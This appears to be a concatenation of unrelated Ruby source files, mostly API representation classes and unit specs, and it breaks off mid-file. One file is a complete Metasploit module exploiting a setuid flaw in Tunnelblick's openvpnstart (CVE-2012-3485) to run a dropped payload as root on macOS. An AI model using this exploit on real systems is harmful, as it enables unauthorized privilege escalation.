property :management, as: 'management', class: Google::Apis::ContainerV1::NodeManagement, decorator: Google::Apis::ContainerV1::NodeManagement::Representation
property :name, as: 'name'
property :node_pool_id, as: 'nodePoolId'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class SetNodePoolSizeRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :name, as: 'name'
property :node_count, as: 'nodeCount'
property :node_pool_id, as: 'nodePoolId'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class ShieldedInstanceConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enable_integrity_monitoring, as: 'enableIntegrityMonitoring'
property :enable_secure_boot, as: 'enableSecureBoot'
end
end
class ShieldedNodes
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class StartIpRotationRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :name, as: 'name'
property :project_id, as: 'projectId'
property :rotate_credentials, as: 'rotateCredentials'
property :zone, as: 'zone'
end
end
class Status
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :code, as: 'code'
collection :details, as: 'details'
property :message, as: 'message'
end
end
class StatusCondition
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :canonical_code, as: 'canonicalCode'
property :code, as: 'code'
property :message, as: 'message'
end
end
class TimeWindow
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :end_time, as: 'endTime'
property :start_time, as: 'startTime'
end
end
class UpdateClusterRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :name, as: 'name'
property :project_id, as: 'projectId'
property :update, as: 'update', class: Google::Apis::ContainerV1::ClusterUpdate, decorator: Google::Apis::ContainerV1::ClusterUpdate::Representation
property :zone, as: 'zone'
end
end
class UpdateMasterRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :master_version, as: 'masterVersion'
property :name, as: 'name'
property :project_id, as: 'projectId'
property :zone, as: 'zone'
end
end
class UpdateNodePoolRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cluster_id, as: 'clusterId'
property :gvnic, as: 'gvnic', class: Google::Apis::ContainerV1::VirtualNic, decorator: Google::Apis::ContainerV1::VirtualNic::Representation
property :image_type, as: 'imageType'
property :kubelet_config, as: 'kubeletConfig', class: Google::Apis::ContainerV1::NodeKubeletConfig, decorator: Google::Apis::ContainerV1::NodeKubeletConfig::Representation
property :linux_node_config, as: 'linuxNodeConfig', class: Google::Apis::ContainerV1::LinuxNodeConfig, decorator: Google::Apis::ContainerV1::LinuxNodeConfig::Representation
collection :locations, as: 'locations'
property :name, as: 'name'
property :node_pool_id, as: 'nodePoolId'
property :node_version, as: 'nodeVersion'
property :project_id, as: 'projectId'
property :upgrade_settings, as: 'upgradeSettings', class: Google::Apis::ContainerV1::UpgradeSettings, decorator: Google::Apis::ContainerV1::UpgradeSettings::Representation
property :workload_metadata_config, as: 'workloadMetadataConfig', class: Google::Apis::ContainerV1::WorkloadMetadataConfig, decorator: Google::Apis::ContainerV1::WorkloadMetadataConfig::Representation
property :zone, as: 'zone'
end
end
class UpgradeAvailableEvent
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :release_channel, as: 'releaseChannel', class: Google::Apis::ContainerV1::ReleaseChannel, decorator: Google::Apis::ContainerV1::ReleaseChannel::Representation
property :resource, as: 'resource'
property :resource_type, as: 'resourceType'
property :version, as: 'version'
end
end
class UpgradeEvent
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :current_version, as: 'currentVersion'
property :operation, as: 'operation'
property :operation_start_time, as: 'operationStartTime'
property :resource, as: 'resource'
property :resource_type, as: 'resourceType'
property :target_version, as: 'targetVersion'
end
end
class UpgradeSettings
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :max_surge, as: 'maxSurge'
property :max_unavailable, as: 'maxUnavailable'
end
end
class UsableSubnetwork
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :ip_cidr_range, as: 'ipCidrRange'
property :network, as: 'network'
collection :secondary_ip_ranges, as: 'secondaryIpRanges', class: Google::Apis::ContainerV1::UsableSubnetworkSecondaryRange, decorator: Google::Apis::ContainerV1::UsableSubnetworkSecondaryRange::Representation
property :status_message, as: 'statusMessage'
property :subnetwork, as: 'subnetwork'
end
end
class UsableSubnetworkSecondaryRange
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :ip_cidr_range, as: 'ipCidrRange'
property :range_name, as: 'rangeName'
property :status, as: 'status'
end
end
class VerticalPodAutoscaling
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class VirtualNic
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :enabled, as: 'enabled'
end
end
class WorkloadIdentityConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :workload_pool, as: 'workloadPool'
end
end
class WorkloadMetadataConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :mode, as: 'mode'
end
end
end
end
end
| 40.980167 | 258 | 0.662065 |
38ab0343df9df5b34ed8b03c5a94f20e2c404c01
| 5,301 |
# frozen_string_literal: true
require 'helper'
require 'fluent/plugin/bind/utils'
# Test for Utils#parse_flags
class UtilsParseFlagsTest < Test::Unit::TestCase
sub_test_case 'on flag parsing' do
test 'parse recursion enabled flag' do
flags = '+'
expected_parsed_flags = {
'recursion' => true,
'signed' => false,
'edns' => false,
'edns_version' => nil,
'tcp' => false,
'dnssec' => false,
'checking_disabled' => false,
'valid_server_cookie' => nil
}
parsed_flags = Fluent::Plugin::Bind::Utils.parse_flags(flags)
assert_equal(expected_parsed_flags, parsed_flags)
end
test 'parse recursion disabled flag' do
flags = '-'
expected_parsed_flags = {
'recursion' => false,
'signed' => false,
'edns' => false,
'edns_version' => nil,
'tcp' => false,
'dnssec' => false,
'checking_disabled' => false,
'valid_server_cookie' => nil
}
parsed_flags = Fluent::Plugin::Bind::Utils.parse_flags(flags)
assert_equal(expected_parsed_flags, parsed_flags)
end
test 'parse signed flag' do
flags = '+S'
expected_parsed_flags = {
'recursion' => true,
'signed' => true,
'edns' => false,
'edns_version' => nil,
'tcp' => false,
'dnssec' => false,
'checking_disabled' => false,
'valid_server_cookie' => nil
}
parsed_flags = Fluent::Plugin::Bind::Utils.parse_flags(flags)
assert_equal(expected_parsed_flags, parsed_flags)
end
test 'parse edns flag' do
flags = '+E(0)'
expected_parsed_flags = {
'recursion' => true,
'signed' => false,
'edns' => true,
'edns_version' => 0,
'tcp' => false,
'dnssec' => false,
'checking_disabled' => false,
'valid_server_cookie' => nil
}
parsed_flags = Fluent::Plugin::Bind::Utils.parse_flags(flags)
assert_equal(expected_parsed_flags, parsed_flags)
end
test 'parse tcp flag' do
flags = '+T'
expected_parsed_flags = {
'recursion' => true,
'signed' => false,
'edns' => false,
'edns_version' => nil,
'tcp' => true,
'dnssec' => false,
'checking_disabled' => false,
'valid_server_cookie' => nil
}
parsed_flags = Fluent::Plugin::Bind::Utils.parse_flags(flags)
assert_equal(expected_parsed_flags, parsed_flags)
end
test 'parse dnssec flag' do
flags = '+D'
expected_parsed_flags = {
'recursion' => true,
'signed' => false,
'edns' => false,
'edns_version' => nil,
'tcp' => false,
'dnssec' => true,
'checking_disabled' => false,
'valid_server_cookie' => nil
}
parsed_flags = Fluent::Plugin::Bind::Utils.parse_flags(flags)
assert_equal(expected_parsed_flags, parsed_flags)
end
test 'parse checking_disabled flag' do
flags = '+C'
expected_parsed_flags = {
'recursion' => true,
'signed' => false,
'edns' => false,
'edns_version' => nil,
'tcp' => false,
'dnssec' => false,
'checking_disabled' => true,
'valid_server_cookie' => nil
}
parsed_flags = Fluent::Plugin::Bind::Utils.parse_flags(flags)
assert_equal(expected_parsed_flags, parsed_flags)
end
test 'parse valid_server_cookie flag' do
flags = '+V'
expected_parsed_flags = {
'recursion' => true,
'signed' => false,
'edns' => false,
'edns_version' => nil,
'tcp' => false,
'dnssec' => false,
'checking_disabled' => false,
'valid_server_cookie' => true
}
parsed_flags = Fluent::Plugin::Bind::Utils.parse_flags(flags)
assert_equal(expected_parsed_flags, parsed_flags)
end
test 'parse invalid_server_cookie flag' do
flags = '+K'
expected_parsed_flags = {
'recursion' => true,
'signed' => false,
'edns' => false,
'edns_version' => nil,
'tcp' => false,
'dnssec' => false,
'checking_disabled' => false,
'valid_server_cookie' => false
}
parsed_flags = Fluent::Plugin::Bind::Utils.parse_flags(flags)
assert_equal(expected_parsed_flags, parsed_flags)
end
test 'return empty hash field when parsing failed' do
flags = ''
expected_parsed_flags = {}
parsed_flags = Fluent::Plugin::Bind::Utils.parse_flags(flags)
assert_equal(expected_parsed_flags, parsed_flags)
end
end
sub_test_case 'with prefix' do
test 'add prefix to parsed flag key name' do
flags = '+'
expected_parsed_flags = {
'query_flag_recursion' => true,
'query_flag_signed' => false,
'query_flag_edns' => false,
'query_flag_edns_version' => nil,
'query_flag_tcp' => false,
'query_flag_dnssec' => false,
'query_flag_checking_disabled' => false,
'query_flag_valid_server_cookie' => nil
}
parsed_flags = Fluent::Plugin::Bind::Utils.parse_flags(flags, prefix: 'query_flag_')
assert_equal(expected_parsed_flags, parsed_flags)
end
end
end
| 27.9 | 90 | 0.581966 |
91175b49c799fe9e38b4bd657623d5f54f8edc4f
| 355 |
require 'rails/generators'
module Rails
class PostDeploymentMigrationGenerator < Rails::Generators::NamedBase
def create_migration_file
timestamp = Time.now.strftime('%Y%m%d%H%M%S')
template "migration.rb", "db/post_migrate/#{timestamp}_#{file_name}.rb"
end
def migration_class_name
file_name.camelize
end
end
end
| 22.1875 | 77 | 0.715493 |
61dafbcca3b3e3a61f8e5c59963ce0d377a3b733
| 1,778 |
# encoding: utf-8
require 'spec_helper'
describe RuboCop::Cop::Style::RedundantException do
subject(:cop) { described_class.new }
it 'reports an offense for a raise with RuntimeError' do
inspect_source(cop, 'raise RuntimeError, msg')
expect(cop.offenses.size).to eq(1)
end
it 'reports an offense for a fail with RuntimeError' do
inspect_source(cop, 'fail RuntimeError, msg')
expect(cop.offenses.size).to eq(1)
end
it 'accepts a raise with RuntimeError if it does not have 2 args' do
inspect_source(cop, 'raise RuntimeError, msg, caller')
expect(cop.offenses).to be_empty
end
it 'accepts a fail with RuntimeError if it does not have 2 args' do
inspect_source(cop, 'fail RuntimeError, msg, caller')
expect(cop.offenses).to be_empty
end
it 'auto-corrects a raise by removing RuntimeError' do
src = 'raise RuntimeError, msg'
result_src = 'raise msg'
new_src = autocorrect_source(cop, src)
expect(new_src).to eq(result_src)
end
it 'auto-corrects a fil by removing RuntimeError' do
src = 'fail RuntimeError, msg'
result_src = 'fail msg'
new_src = autocorrect_source(cop, src)
expect(new_src).to eq(result_src)
end
it 'does not modify raise w/ RuntimeError if it does not have 2 args' do
src = 'raise runtimeError, msg, caller'
new_src = autocorrect_source(cop, src)
expect(new_src).to eq(src)
end
it 'does not modify fail w/ RuntimeError if it does not have 2 args' do
src = 'fail RuntimeError, msg, caller'
new_src = autocorrect_source(cop, src)
expect(new_src).to eq(src)
end
it 'does not modify rescue w/ non redundant error' do
src = 'fail OtherError, msg'
new_src = autocorrect_source(cop, src)
expect(new_src).to eq(src)
end
end
| 29.633333 | 74 | 0.7036 |
382437f1d025a40c89b085b5210a99b63fcde6d0
| 5,646 |
# encoding: utf-8
module ISO
class IBAN
# Specification of the IBAN format for one country. Every country has its
# own specification of the IBAN format.
# SWIFT is the official authority where those formats are registered.
class Specification
# A mapping from SWIFT structure specification to PCRE regex.
StructureCodes = {
'n' => '\d',
'a' => '[A-Z]',
'c' => '[A-Za-z0-9]',
'e' => ' ',
}
# Load the specifications YAML.
#
# @return [Hash<String => ISO::IBAN::Specification>]
def self.load_yaml(path)
Hash[YAML.load_file(path).map { |country, spec| [country, new(*spec)] }]
end
# Parse the SWIFT provided file (which sadly is a huge mess and not machine friendly at all).
#
# @return [Array<ISO::IBAN::Specification>] an array with all specifications.
def self.parse_file(path)
File.read(path, encoding: Encoding::Windows_1252).encode(Encoding::UTF_8).split("\r\n").tap(&:shift).flat_map { |line|
country_name, country_codes, iban_structure_raw, iban_length, bban_structure, bban_length, bank_position = line.split(/\t/).values_at(0,1,11,12,4,5,6)
codes = country_codes.size == 2 ? [country_codes] : country_codes.scan(/\b[A-Z]{2}\b/)
primary_code = codes.first
bank_position_from, bank_position_to, branch_position_from, branch_position_to = bank_position.match(/(?:[Pp]ositions?|) (\d+)-(\d+)(?:.*Branch identifier positions?: (\d+)-(\d+))?/).captures.map { |pos| pos && pos.to_i+3 }
codes.map { |a2_country_code|
iban_structure = iban_structure_raw[/#{a2_country_code}[acen\!\d]*/] || iban_structure_raw[/#{primary_code}[acen\!\d]*/]
bban_structure = bban_structure[/[acen\!\d]*/]
new(
country_name.strip,
a2_country_code,
iban_structure,
iban_length.to_i,
bban_structure.strip,
bban_length.to_i,
bank_position_from,
bank_position_to,
branch_position_from,
branch_position_to
)
}
}
end
# *n: Digits (numeric characters 0 to 9 only)
# *a: Upper case letters (alphabetic characters A-Z only)
# *c: upper and lower case alphanumeric characters (A-Z, a-z and 0-9)
# *e: blank space
# *nn!: fixed length
# *nn: maximum length
#
# Example: "AL2!n8!n16!c"
def self.structure_regex(structure, anchored=true)
source = structure.scan(/([A-Z]+)|(\d+)(!?)([nac])/).map { |exact, length, fixed, code|
if exact
Regexp.escape(exact)
else
StructureCodes[code]+(fixed ? "{#{length}}" : "{,#{length}}")
end
}.join(')(')
anchored ? /\A(#{source})\z/ : /(#{source})/n
end
attr_reader :country_name,
:a2_country_code,
:iban_structure,
:iban_length,
:bban_structure,
:bban_length,
:bank_position_from,
:bank_position_to,
:branch_position_from,
:branch_position_to
def initialize(country_name, a2_country_code, iban_structure, iban_length, bban_structure, bban_length, bank_position_from, bank_position_to, branch_position_from, branch_position_to)
@country_name = country_name
@a2_country_code = a2_country_code
@iban_structure = iban_structure
@iban_length = iban_length
@bban_structure = bban_structure
@bban_length = bban_length
@bank_position_from = bank_position_from
@bank_position_to = bank_position_to
@branch_position_from = branch_position_from
@branch_position_to = branch_position_to
end
# @return [Regexp] A regex to verify the structure of the IBAN.
def iban_regex
@_iban_regex ||= self.class.structure_regex(@iban_structure)
end
# @return [Regexp] A regex to identify the structure of the IBAN, without anchors.
def unanchored_iban_regex
self.class.structure_regex(@iban_structure, false)
end
# @return [Array<Integer>] An array with the lengths of all components.
def component_lengths
[bank_code_length, branch_code_length, account_code_length].tap { |lengths| lengths.delete(0) }
end
# @return [Fixnum]
# The length of the bank code in the IBAN, 0 if the IBAN has no bank code.
def bank_code_length
@bank_position_from && @bank_position_to ? @bank_position_to-@bank_position_from+1 : 0
end
# @return [Fixnum]
# The length of the bank code in the IBAN, 0 if the IBAN has no branch code.
def branch_code_length
@branch_position_from && @branch_position_to ? @branch_position_to-@branch_position_from+1 : 0
end
# @return [Fixnum]
# The length of the account code in the IBAN.
def account_code_length
bban_length-bank_code_length-branch_code_length
end
# @return [Array] An array with the Specification properties. Used for serialization.
def to_a
[
@country_name,
@a2_country_code,
@iban_structure,
@iban_length,
@bban_structure,
@bban_length,
@bank_position_from,
@bank_position_to,
@branch_position_from,
@branch_position_to,
]
end
end
end
end
| 37.390728 | 233 | 0.598831 |
ab09485cfefda27593a6cb7df43271a99502cfe2
| 2,423 |
require 'rails_helper'
RSpec.describe ZenossDelivery, type: :model do
let(:delivery) { FactoryBot.create(:zenoss_delivery) }
before(:example) do
mock_setting(:zenoss_enabled, true)
mock_setting(:zenoss_url, 'www.blah.com')
delivery.asq.status = 'alert_new'
end
context 'while url is blank' do
it 'does not deliver' do
mock_setting(:zenoss_url, '')
expect(ZenossService).not_to receive(:post)
delivery.deliver
end
end
context 'When Asq status = alert_new' do
it 'delivers' do
delivery.asq.status = 'alert_new'
expect(ZenossService).to receive(:post).with(delivery.asq)
delivery.deliver
end
end
context 'when Asq status = Clear_new' do
it 'delivers' do
delivery.asq.status = 'clear_new'
expect(ZenossService).to receive(:post).with(delivery.asq)
delivery.deliver
end
end
context 'When asq is in a still state' do
it 'does deliver on alert still' do
delivery.asq.status = 'alert_still'
expect(ZenossService).to receive(:post)
delivery.deliver
end
it 'does not deliver on clear still' do
delivery.asq.status = 'clear_still'
expect(ZenossService).not_to receive(:post)
delivery.deliver
end
end
it 'does not deliver for reports' do
delivery.asq.query_type = 'report'
expect(ZenossService).not_to receive(:post)
delivery.deliver
end
it 'destroys on save when not enabled' do
delivery.enabled = false
expect(delivery).to receive(:destroy)
delivery.save
end
context 'while settings.zenoss_enabed is true' do
it 'delivers' do
delivery.asq.status = 'alert_new'
expect(ZenossService).to receive(:post)
delivery.deliver
end
end
context 'while settings.zenoss_enabled is false' do
it 'does not deliver' do
delivery.asq.status = 'alert_new'
mock_setting(:zenoss_enabled, false)
expect(ZenossService).not_to receive(:post)
delivery.deliver
end
end
context 'when delivery fails' do
it 'logs the failure' do
allow(ZenossService).to receive(:post).and_raise(StandardError)
allow(Settings).to receive(:method_missing).and_return(Faker::Lorem)
logger = double
allow(Delayed::Worker).to receive(:logger).and_return(logger)
allow(logger).to receive(:debug)
expect(logger).to receive(:debug)
delivery.deliver
end
end
end
| 27.224719 | 74 | 0.682212 |
3946bf55178ae3d8a795f76bec44964ba6b584e8
| 124 |
class Rating < ActiveRecord::Base
belongs_to :book
belongs_to :customer
validates_inclusion_of :score, in: 1..10
end
| 17.714286 | 42 | 0.758065 |
5d3bbe9e8d10ddfff99fcfdade1286a771b3f751
| 692 |
[
"l", "L",
"i", "I",
"s", "S",
"n", "N",
"v", "V",
"c", "C",
].each { |f|
puts "-- #{f} --"
p [0xffffffff].pack(f) rescue p $!
p [0x100000000].pack(f) rescue p $!
p [-1].pack(f) rescue p $!
}
puts "========================"
["q", "Q"].each { |f|
puts "-- #{f} --"
p [0xffffffff].pack(f) rescue p $!
p [0x100000000].pack(f) rescue p $!
p [0xffffffffffffffff].pack(f) rescue p $!
p [0x10000000000000000].pack(f) rescue p $!
p [-1].pack(f) rescue p $!
}
puts "========================"
["l", "L",
"i", "I",
"s", "S",
"n", "N",
"v", "V",
"c", "C",
].each { |f|
puts "-- #{f} --"
p [0x12345678].pack(f).unpack("H*") rescue p $!
p [0x1234].pack(f).unpack("H*") rescue p $!
}
| 16.47619 | 49 | 0.440751 |
e8fbe775ffbbba1b053ae99945c9b615277e32f9
| 126 |
require 'test_helper'
class Api::ProductTest < ActiveSupport::TestCase
# test "the truth" do
# assert true
# end
end
| 15.75 | 48 | 0.698413 |
21c8da2e9d1024ddea4f0b67067f17514313230e
| 369 |
# frozen_string_literal: true
module AwsSdkCodeGenerator
class ResourceMethod
# @return [String]
attr_accessor :method_name
# @return [String, nil]
attr_accessor :arguments
# @return [String]
attr_accessor :code
# @return [String, nil]
attr_accessor :documentation
# @return [String, nil]
attr_accessor :alias
end
end
| 16.043478 | 32 | 0.680217 |
7a0b174a2e5c6f644bbf1d3cc8b1616b2c14b53f
| 470 |
# == Schema Information
#
# Table name: plex_recently_addeds
#
# id :integer not null, primary key
# added_date :datetime not null
# created_at :datetime not null
# updated_at :datetime not null
# plex_service_id :integer
# uuid :string not null
#
require 'test_helper'
Fabricator(:plex_recently_added) do
added_date { Faker::Date.backward(2) }
uuid { SecureRandom.uuid }
end
| 24.736842 | 58 | 0.608511 |
38cec8077bf85321a9684602760eb496304339c3
| 256 |
class CreateStashEngineShares < ActiveRecord::Migration
def change
create_table :stash_engine_shares do |t|
t.string :sharing_link
t.datetime :expiration_date
t.integer :resource_id
t.timestamps null: false
end
end
end
| 21.333333 | 55 | 0.714844 |
e8673370e54ae39a58ac29174e5175739cac9dbc
| 35 |
module AccontActivationsHelper
end
| 11.666667 | 30 | 0.914286 |
ed77788571b9b999a26f05c03a188ffdaeb3f76e
| 1,788 |
require "test_helper"
class ReverseDependenciesControllerTest < ActionController::TestCase
context "On GET to show for a gem reverse dependencies" do
setup do
@version_one = create(:version)
@rubygem_one = @version_one.rubygem
@version_two = create(:version)
@rubygem_two = @version_two.rubygem
@version_three = create(:version)
@rubygem_three = @version_three.rubygem
@version_four = create(:version)
@rubygem_four = @version_four.rubygem
@version_two.dependencies << create(:dependency,
version: @version_two,
rubygem: @rubygem_one)
@version_three.dependencies << create(:dependency,
version: @version_three,
rubygem: @rubygem_two)
@version_four.dependencies << create(:dependency,
version: @version_four,
rubygem: @rubygem_two)
end
should "render template" do
get :index, params: { rubygem_id: @rubygem_one.to_param }
respond_with :success
render_template :index
end
should "show reverse dependencies" do
get :index, params: { rubygem_id: @rubygem_one.to_param }
assert page.has_content?(@rubygem_two.name)
refute page.has_content?(@rubygem_three.name)
end
should "search reverse dependencies" do
get :index,
params: {
rubygem_id: @rubygem_two.to_param,
rdeps_query: @rubygem_three.name
}
assert page.has_content?(@rubygem_three.name)
refute page.has_content?(@rubygem_four.name)
end
should "search only current reverse dependencies" do
get :index,
params: {
rubygem_id: @rubygem_two.to_param,
rdeps_query: @rubygem_one.name
}
refute page.has_content?(@rubygem_one.name)
end
end
end
| 30.827586 | 68 | 0.663311 |
4a985696270411dab1b6fe7c19ed68e3ba33db05
| 3,756 |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
def initialize(info={})
super( update_info( info, {
'Name' => 'Setuid Tunnelblick Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The
vulnerability exists in the setuid openvpnstart, where an insufficient
validation of path names allows execution of arbitrary shell scripts as root.
This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099
over Mac OS X 10.7.5.
},
'References' =>
[
[ 'CVE', '2012-3485' ],
[ 'EDB', '20443' ],
[ 'URL', 'http://blog.zx2c4.com/791' ]
],
'License' => MSF_LICENSE,
'Author' =>
[
'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
'juan vazquez' # Metasploit module
],
'DisclosureDate' => 'Aug 11 2012',
'Platform' => 'osx',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell' ],
'Targets' =>
[
[ 'Tunnelblick 3.2.8 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],
[ 'Tunnelblick 3.2.8 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0
}))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ])
], self.class)
end
def check
if not file?(datastore["Tunnelblick"])
vprint_error "openvpnstart not found"
return CheckCode::Safe
end
check = cmd_exec("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000")
if check =~ /openvpnstart/
return CheckCode::Vulnerable
end
return CheckCode::Safe
end
def clean
file_rm(@link)
cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn")
end
def exploit
print_status("Creating directory...")
cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0"
exe_name = rand_text_alpha(8)
@exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}"
print_status("Dropping executable #{@exe_file}")
write_file(@exe_file, generate_payload_exe)
cmd_exec "chmod +x #{@exe_file}"
evil_sh =<<-EOF
#!/bin/sh
#{@exe_file}
EOF
@sh_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/openvpn"
print_status("Dropping shell script #{@sh_file}...")
write_file(@sh_file, evil_sh)
cmd_exec "chmod +x #{@sh_file}"
link_name = rand_text_alpha(8)
@link = "#{datastore["WritableDir"]}/#{link_name}"
print_status("Creating symlink #{@link}...")
cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"
print_status("Running...")
begin
cmd_exec "#{@link} OpenVPNInfo 0"
rescue
print_error("Failed. Cleaning files #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
clean
return
end
print_warning("Remember to clean files: #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
end
end
| 32.37931 | 153 | 0.600905 |
33c449e0be4e2d56eef71d0180affb7929df1282
| 2,179 |
class Dtm < Formula
desc "Cross-language distributed transaction manager"
homepage "http://d.dtm.pub"
url "https://github.com/dtm-labs/dtm/archive/refs/tags/v1.13.1.tar.gz"
sha256 "1dfd77af90441cd755f1fa0d97c304d99840fe52ab39b74631571387864c7eb8"
license "BSD-3-Clause"
bottle do
sha256 cellar: :any_skip_relocation, arm64_monterey: "c9b3924ee7dd47656a4774973b6cdfedc9b8a492cecf244286b9f071804d2cd0"
sha256 cellar: :any_skip_relocation, arm64_big_sur: "075394c6076352c914fbbc263fd96796e9e5bbaf1c6e436ca18f2370a0232a2c"
sha256 cellar: :any_skip_relocation, monterey: "baed2a8d3acaecda1a8be92d36276150431a97422e1bed2eee7fbbf481a6c4a8"
sha256 cellar: :any_skip_relocation, big_sur: "d74b188a673308f6008a59a8e164262c84e4311056c160b28c0236de6d977e71"
sha256 cellar: :any_skip_relocation, catalina: "c681697a398ce50017bc4ea2074f44a7c8f2df8b3503643fe71b5a0cc34a88d2"
sha256 cellar: :any_skip_relocation, x86_64_linux: "3d6375ddf3a713ff9988f92370974037b9637be6469384093af5b171fc0b6319"
end
depends_on "go" => :build
def install
system "go", "build", *std_go_args(ldflags: "-s -w -X main.Version=v#{version}")
system "go", "build", *std_go_args(ldflags: "-s -w", output: bin/"dtm-qs"), "qs/main.go"
end
test do
assert_match "dtm version: v#{version}", shell_output("#{bin}/dtm -v")
http_port = free_port
grpc_port = free_port
dtm_pid = fork do
ENV["HTTP_PORT"] = http_port.to_s
ENV["GRPC_PORT"] = grpc_port.to_s
exec bin/"dtm"
end
# sleep to let dtm get its wits about it
sleep 5
metrics_output = shell_output("curl -s localhost:#{http_port}/api/metrics")
assert_match "# HELP dtm_server_info The information of this dtm server.", metrics_output
all_json = JSON.parse(shell_output("curl -s localhost:#{http_port}/api/dtmsvr/all"))
assert_equal 0, all_json["next_position"].length
assert all_json["next_position"].instance_of? String
assert_equal 0, all_json["transactions"].length
assert all_json["transactions"].instance_of? Array
ensure
# clean up the dtm process before we leave
Process.kill("HUP", dtm_pid)
end
end
| 43.58 | 123 | 0.748508 |
ffe986b3342eb42449eca93aee1baae7af9aa41f
| 173 |
# Sample code from Programing Ruby, page 445
f = File.new("out", "w");
f.close
File.chmod(0644, "testfile", "out")
File.delete("out");
| 28.833333 | 44 | 0.520231 |
5d6d058883df730e01638f83c3570509f1251ce8
| 1,330 |
require 'timeout'
require 'multi_json'
require 'rautomation'
require 'watir-classic/version'
require 'watir-classic/win32ole'
require 'watir-classic/util'
require 'watir-classic/exceptions'
require 'watir-classic/matches'
require 'watir-classic/wait'
require 'watir-classic/wait_helper'
require 'watir-classic/element_extensions'
require 'watir-classic/container'
require 'watir-classic/xpath_locator'
require 'watir-classic/locator'
require 'watir-classic/page-container'
require 'watir-classic/browser_process'
require 'watir-classic/screenshot'
require 'watir-classic/browser'
require 'watir-classic/drag_and_drop_helper'
require 'watir-classic/element'
require 'watir-classic/element_collection'
require 'watir-classic/form'
require 'watir-classic/frame'
require 'watir-classic/input_elements'
require 'watir-classic/non_control_elements'
require 'watir-classic/table'
require 'watir-classic/image'
require 'watir-classic/link'
require 'watir-classic/window'
require 'watir-classic/cookies'
require 'watir-classic/win32'
require 'watir-classic/modal_dialog'
require 'watir-classic/module'
require 'watir-classic/dialogs/file_field'
require 'watir-classic/dialogs/alert'
require 'watir-classic/supported_elements'
module Watir
autoload :IE, File.expand_path("watir-classic/ie_deprecated", File.dirname(__FILE__))
end
| 31.666667 | 87 | 0.817293 |
7a0df0313ef57700f97bcf0f2584dedde6003aef
| 2,789 |
require 'rails_helper'
RSpec.describe CostAnalysis::TableWithGroupHeaders do
describe "maintaining row counts" do
it "should report indices for header rows" do
subject.add_header []
subject.add_data []
subject.add_data []
subject.add_summary []
subject.add_header []
subject.add_data []
subject.add_summary []
expect(subject.header_rows).to contain_exactly(0,4)
expect(subject.summary_rows).to contain_exactly(3,6)
end
end
context "when column labels are present" do
before do
subject.add_column_labels []
end
it "knows they are the first row" do
subject.add_header []
subject.add_data []
subject.add_data []
subject.add_summary []
subject.add_header []
subject.add_data []
subject.add_summary []
expect(subject.header_rows).to contain_exactly(1,5)
expect(subject.summary_rows).to contain_exactly(4,7)
end
end
describe "#table_rows" do
it "has all rows" do
subject.add_header ["A"]
subject.concat([ ["C"], ["D"], ["E"] ])
subject.add_summary ["Z"]
expect(subject.table_rows).to contain_exactly(["A"],
["C"],
["D"],
["E"],
["Z"])
end
end
describe '#split' do
let(:row_tpl) { [:a,1,2,3,4,5, 6,7,8,9,10] }
before do
subject.add_data row_tpl
end
context 'keep 1 column and split in 2' do
it 'creates 2 tables' do
parts = subject.split(keep: 1,cols: 5)
expect(parts).to have(2).items
expect(parts[0].table_rows).to contain_exactly([:a,1,2,3,4,5])
expect(parts[1].table_rows).to contain_exactly([:a,6,7,8,9,10])
end
end
context 'keep 1 column but uneven split of 3' do
it 'creates 4 tables' do
parts = subject.split(keep: 1, cols: 3)
expect(parts).to have(4).items
expect(parts[0].table_rows).to contain_exactly([:a,1,2,3])
expect(parts[1].table_rows).to contain_exactly([:a,4,5,6])
expect(parts[2].table_rows).to contain_exactly([:a,7,8,9])
expect(parts[3].table_rows).to contain_exactly([:a,10])
end
end
context 'leading span column and data columns' do
